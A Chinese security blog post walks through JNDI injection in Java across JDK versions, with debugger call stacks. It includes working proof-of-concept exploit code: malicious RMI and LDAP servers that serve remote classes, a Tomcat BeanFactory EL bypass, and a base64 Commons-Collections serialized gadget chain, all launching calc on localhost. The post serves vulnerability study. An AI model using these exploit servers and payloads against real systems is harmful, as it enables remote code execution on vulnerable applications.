JNDI 漏洞分析

发布时间 2023-12-06 21:59:43作者: Jasper_sec

简介

根据官方教程,JNDI(Java Naming and Directory Interface)是为Java程序提供的,一组用来统一调用命名服务和目录服务的API,逻辑结构如下:
image.png
可以看到下面的SPI中,有熟悉的RMI服务和DNS服务,也有没用过的CORBA和LDAP服务等。
那么到底什么是JNDI?
一句话说:接口一词在计算机系统中再常见不过,所谓JNDI,就是屏蔽掉上面说到的服务的底层细节,提供一套统一的接口来调用这些服务,我的理解就是一层封装

漏洞原理

前面说到,JNDI支持命名服务和目录服务,而它在绑定一个对象时,可以采用引用(Reference)来存储,可以理解成一个指针/引用。
恶意的JNDIServer端先bind一个引用对象,JNDIClient端从JNDIServer端lookup这个引用对象的时候,如果Client端本地不存在对应类名的类,就会去引用对象里定义的位置加载定义的类,而指定位置是支持http等远程协议的,这就导致了远程类加载问题,这也是这个洞的核心所在,一图胜千言
image.png

漏洞分析

JNDI这个洞最早是2016年的BlackHat爆出来的,之后陆陆续续进行了几次修复,就jdk8u版本来说,节点可以分为:8u121之前、8u121到8u191、8u191之后三个阶段,笔者也以漏洞修复的时间线,对不同的利用进行分析。

JNDI操纵RMI

适用JDK版本:<8u121
测试JDK版本:8u65

利用方式

import java.io.IOException;

public class Calc {
    {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);
//        initialContext.bind("rmi://localhost:1099/remoteObj",new RemoteObjectImpl());
        // 绑定的引用对象指定到了远程服务器上的恶意类
        Reference reference = new Reference("Jasper", "Calc", "http://localhost:7777/");
        initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
        System.out.println("Server start...");
    }
}

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        RemoteObjectInterface remoteObject = (RemoteObjectInterface)initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObject.sayHello("I'm Jasper you motherfucker."));
    }
}

python3 -m http.server 7777 起一个HTTP Server,目录里放编译后的恶意类,然后运行Server端,再运行Client端,成功执行代码。
image.png

调试

getObjectFactoryFromReference:163, NamingManager
getObjectInstance:319, NamingManager
decodeObject:464, RegistryContext
lookup:124, RegistryContext
lookup:205, GenericURLContext
lookup:417, InitialContext
main:6, JNDIRMIClient

在Client端的lookup处下断点,查看获取到Reference对象之后发生了什么
image.png
三层套娃调用lookup
initialContext#lookup
image.png
GenericURLContext#lookup
image.png
RegistryContext#lookup,调了decodeObject对服务端传过来的对象解码
image.png
RegistryContext#decodeObject,如果传过来的是引用对象,通过NamingManager#getObjectInstance获取引用所指向的对象。
image.png
NamingManager#getObjectInstance,首先通过getObjectFactoryFromReference获取对象指向的对象的工厂对象factory,再由factory#getObjectInstance获取到引用对象指向的真正对象,从工厂生产产品的思想。
image.png
NamingManager#getObjectFactory,首先获取远程的工厂类,再实例化返回一个工厂对象
image.png
到这分析完毕,执行完这行就弹计算器了。

JNDI操纵LDAP

适用JDK版本:<8u191
测试JDK版本:8u121
在8u121之后,RegistryContext#decodeObject里加了trustURLCodebase,默认不允许远程加载Factory类
image.png
例如我们这里再执行上面的代码,提示要加载远程Factory,trustURLCodebase需要置为true。
image.png
这个怎么绕过呢?其实很简单,他是在RegistryContext里加了限制条件,我们用别的SPI就好,比如LDAP。Oracle这里也挺怪的,只修了RMI服务的洞,没有把LDAP的一起修,留到了8u191才来修。

利用方式

import java.io.IOException;

public class Calc {
    {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

不用太注意LDAP服务端的实现代码,用专门的软件起一个LDAP服务也是一样的。

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class JNDILDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        // codebase,加载恶意Calc类
        String url = "http://127.0.0.1:7777/#Calc";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

import javax.naming.InitialContext;

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        RemoteObjectInterface remoteObject = (RemoteObjectInterface)initialContext.lookup("ldap://localhost:1234/Calc");
        System.out.println(remoteObject.sayHello("I'm Jasper you motherfucker."));

    }
}

python3 -m http.server 7777 起一个HTTP Server,目录里放编译后的恶意Calc类,然后运行Server端,再运行Client端,成功执行代码。
image.png

调试

getObjectFactoryFromReference:163, NamingManager
getObjectInstance:189, DirectoryManager
c_lookup:1085, LdapCtx
p_lookup:542, ComponentContext
lookup:177, PartialCompositeContext
lookup:205, GenericURLContext
lookup:94, ldapURLContext
lookup:417, InitialContext
main:6, JNDILDAPClient

主要漏洞点的逻辑和JNDI操纵RMI是完全一样的,关键点在NamingManager里,这里不再重复分析了。
看调用栈也能发现,使用LDAP的话根本不会走进RegistryContext,这也是为什么能绕过trustURLCodebase。

JNDI 加载本地恶意类

适用JDK版本:≥8u191
测试JDK版本:8u191
在8u191版本里,Oracle直接在VersionHelper12.java这个文件里加了trustURLCodebase,这下所有SPI在loadClass的时候,都被禁止远程加载Factory了。
image.png
那么如何绕过呢?这里是选择利用本地组件。
之前分析过,在这里会新建工厂对象factory,并执行factory#getObjectInstance方法
image.png
那么如果客户端本地有一个Factory,它实现了ObjectFactory接口,并且重写的getObjectInstance方法里有可利用的gadgets,达到执行代码的效果,那么我们选择通过本地加载这个Factory,也能实现攻击。
Client本地可利用的Factory类的要求

  • 实现了ObjectFactory接口(上图的factory变量类型要求)
  • 重写的getObjectInstance方法里有可利用的gadgets(实现攻击需要)

image.png
这里也不卖关子,利用的是Tomcat核心包里内置的BeanFactory类
image.png
BeanFactory#getObjectInstance里有一个反射调用是可以利用的,我们完全可以在Server端构造出恶意命令。
这里不仔细分析参数构造了,感兴趣的师傅可以仔细研究研究。
image.png
注意:这种利用方式对SPI是什么没有要求的,RMI还是LDAP都是一样的,他们都会走到NamingManager里。

利用方式

这里以RMI服务为例

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-dbcp</artifactId>
  <version>9.0.8</version>
</dependency>
<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>9.0.8</version>
</dependency>
<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-jasper</artifactId>
  <version>9.0.8</version>
</dependency>

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServerBypass8u191 {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));

        initialContext.bind("rmi://localhost:1099/Tomcat8bypass", resourceRef);
        System.out.println("JNDIRMIServer start...");
    }
}

import javax.naming.InitialContext;

public class JNDIRMIClientBypass8u191 {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1099/Tomcat8bypass");

    }
}

先加载Tomcat的依赖,再依次运行服务端和客户端,即可执行el表达式的代码。
image.png

调试

getObjectFactoryFromReference:163, NamingManager
getObjectInstance:319, NamingManager
decodeObject:464, RegistryContext
lookup:124, RegistryContext
lookup:205, GenericURLContext
lookup:417, InitialContext
main:6, JNDIRMIClient

前面流程和JNDIRMI完全一致,直接跳到NamingManager#getObjectFactoryFromReference
可以看到它从Client端本地获取到了Tomcat依赖里的BeanFactory,并创建factory实例对象返回。
image.png
factory实例对象返回后,执行BeanFactory#getObjectInstance,这个函数是我们可以操纵执行EL表达式的。
image.png
单步步过,成功执行代码
image.png
至此,JNDI加载恶意本地类的利用分析结束。

JNDI操纵LDAP触发反序列化

适用JDK版本:≥8u191
测试JDK版本:8u191
同样是高版本的一种绕过手段,之前操纵LDAP是绑定的Reference对象,走的是类加载的路子。
实际上LDAP里有逻辑识别我们绑定的对象的类型,如果服务端绑一个序列化的字符串,就会有反序例化的点。
image.png
走反序列化解析,可以看到调用了原生反序列化,显然是可以触发漏洞的。
image.png
这里我们用CC打,这就要求JNDIClient端有CC依赖,笔者用的CC6的链子,8u191低版本链子不适用。

利用方式

<!--        CC依赖-->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class JNDILDAPServerBypass8u191 {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        // 远程类加载用的codebase,这里没用
        String[] args=new String[]{"http://127.0.0.1/#EXP"};
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            //反序列化点
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
                    "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEa2V5MnNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAAJZ2V0TWV0aG9kdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnBwdAAGaW52b2tldXEAfgAcAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VxAH4AGAAAAAF0AARDYWxjdAAEZXhlY3VxAH4AHAAAAAFxAH4AH3NxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAXQABGtleTF0AAZ2YWx1ZTF4eHQABkphc3Blcng="
            ));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDILDAPCientBypass8u191 {
    public static void main(String[] args) throws Exception {
        // lookup参数注入触发
        Context context = new InitialContext();
        context.lookup("ldap://localhost:1234/EXP");

    }
}
public static void serialize(Object o) throws Exception{
    // 输出Base64后的对象
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream out = new ObjectOutputStream(baos);
    out.writeObject(o);
    out.close();
    String res = Base64.getEncoder().encodeToString(baos.toByteArray());
    System.out.println("res = " + res);
    System.out.println("序列化完成...");
}

依次启动客户端和服务端,即可打通。
image.png
注意:

  • Server端大部分代码是起一个LDAP服务,关键点笔者给了注释,不用全看懂
  • Server端的codebase是随便设都可以的,这个利用方式用不到远程加载

调试

readObject:424, ObjectInputStream
deserializeObject:531, Obj
decodeObject:239, Obj
c_lookup:1051, LdapCtx
p_lookup:542, ComponentContext
lookup:177, PartialCompositeContext
lookup:205, GenericURLContext
lookup:94, ldapURLContext
lookup:417, InitialContext
main:10, JNDILDAPCientBypass8u191

看调用栈可以看到,一共套娃调用了6层lookup方法,笔者这里直接从LdapCtx#c_lookup开始分析
image.png
image.png
image.png
至此,JNDI的LDAP触发反序列化的调试结束。

参考链接

JNDI官方教程
https://docs.oracle.com/javase/tutorial/jndi/TOC.html
JDK版本修复日志
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html
https://www.oracle.com/java/technologies/javase/8u191-relnotes.html
JDK补丁代码对比
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/a58fca2f8a5d
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/2db6890a9567
JNDI注入漏洞参考
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.bilibili.com/video/BV1ct4y1h79t
https://goodapple.top/archives/696
https://tttang.com/archive/1611
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://tttang.com/archive/1405
https://paper.seebug.org/942/
https://www.cnblogs.com/bitterz/p/15946406.html#

小结

JNDI注入,攻击面很多,本质是类加载和反序列化。